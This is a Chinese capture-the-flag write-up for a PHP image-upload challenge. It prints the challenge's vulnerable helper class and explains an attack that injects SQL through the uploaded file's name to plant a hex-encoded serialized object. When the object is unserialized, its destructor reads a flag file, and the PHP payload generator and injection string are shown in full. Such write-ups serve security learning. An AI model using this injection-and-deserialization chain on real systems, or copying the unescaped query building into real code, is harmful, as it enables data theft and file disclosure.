进入题目传了一个jpg图片上去
发现文件名被重命名了,但是给了我们一个path路径(难道就是一个绕过题?这么轻松就会告诉你路径,跟题目有点不符)
啪啪打脸,各个地方抓一下包show.php,upload.php以及show.php?delete_all=true,按照经验我们应该在某个地方是可以获取到这些源码的,但是我这里找了很久根本找不到……,只能再一次求助别人的wp……
没想到的是!!!
根据这条信息去github找这个出题人
获得源码,好好代码审计了(不愧是锻炼搜索能力,获得源码的方式长见识了)
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];//没有后缀的文件名(无过滤)
$array["filename"] = $fileinfo['filename'];//随机数.后缀
$array["ext"] = $fileinfo['ext'];//后缀
$array["path"] = $fileinfo['path'];//pic/随机数.后缀
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);//getimagesize返回上传文件的大小以及相关信息
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);//序列化宽度和长度
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;//路径啥的,文件名没有过滤
}
public function check($info)//白名单过滤文件后缀并且文件名随机显示
{
$basename = substr(md5(time().uniqid()),9,16);//随机
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);//“strrchr()函数(在php中)查找字符在指定字符串中从右面开始的第一次出现的位置,如果成功,返回该字符以及其后面的字符
//$ext为后缀名
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){//白名单过滤
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);//$title为没有后缀的文件名
//文件名没有进行过滤
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){//不存在或者为数组
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){//文件的一些相关信息
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//chr(0)为null
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
//implode函数返回数组sql_fields用,将元素连接起来的字符串
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";//注入嫌疑
//$sql="INSERT INTO images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')
//没有过滤的文件名存入了数据库
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);//$this->config=flag.php
}
}
?>
这里有几个注意的小点:
1、check函数只过滤了文件后缀,文件名由我们自己控制
2、insert_array函数中存在着INSERT注入
3、upload函数中有对attr属性的值进行序列化;并且show.php界面会进行反序列化
一些重要的函数地方
//白名单过滤
$cate_exts = array("jpg","gif","png","jpeg");
//针对序列化后不可见字符的一些过滤,其实这里不用管,因为后面一个函数又将\0\0\0转换回去了,感觉有点多次一举
foreach($data as $key=>$value){//文件的一些相关信息
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//chr(0)为null
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
//我们的核心注入点
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";//注入嫌疑
//$sql="INSERT INTO //images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')
接下来分析一下关键函数(我的思路)
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){//文件的一些相关信息
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//chr(0)为null
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
//implode函数返回数组sql_fields用,将元素连接起来的字符串
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";//注入嫌疑
//$sql="INSERT INTO images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')
//没有过滤的文件名存入了数据库
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
可以发现我们INSERT里面的键值对都是从参数data来的,因此我们要寻找data到底代表哪些
继续网上追哪里调用了save函数
发现save函数的参数来自于fileinfo,我们便看看getfile函数究竟有啥
发现都是文件的一些文件名,后缀,路径啥的值,因为这里用的是随机数,还添加了别的东西,因此很多属性都不能控制,我们能控制的只有title属性
可以函数分析到title是利用str_replace替换函数,将后缀.jpg删除,只留下文件名,因此给我们留下了文件名操作的空间。
由上面可知这些键值对作为数组传入了foreach来进行分开赋值,再到INSERT
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
//注入嫌疑
//$sql="INSERT INTO images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')
foreach后INSERT进行赋值应该是这样的,我们现在就要给attr传一个序列化后的字符串,再在show.php界面反序列化获取flag,这里我们可以利用可控的文件名配合注释符#来进行注入,当我们输入
1','1','1','1',serialize())#
=>
会变成
images('title','filename','ext','path','attr')VALUES('1','1','1','1',serialize())#,'xx','xx','xx','xx')
可以看到利用注释符#成功将后面的语句给注释掉了,留下来了我们自己构造的值,实现了将序列化的值赋给attr参数
接下来我们构造序列化的东东
<?php
class helper
{
protected $ifview = True;
protected $config = "/flag";
}
$a=new helper();
echo serialize($a);
echo "\n";
echo bin2hex(serialize($a));
//之所以是/flag,是因为我之前用的flag.php,结果报错说要路径,因此是/flag
在数据库中它会自动识别十六进制的,之所以要编码绕过,因为不要忘了我们注入的地方是文件名!!!
记得上传的时候加个0x代表十六进制噢
去show.php页面刷新一下
前面的是我之前测试的,看id=5时候就可以了
注释符真的很强大啊哈哈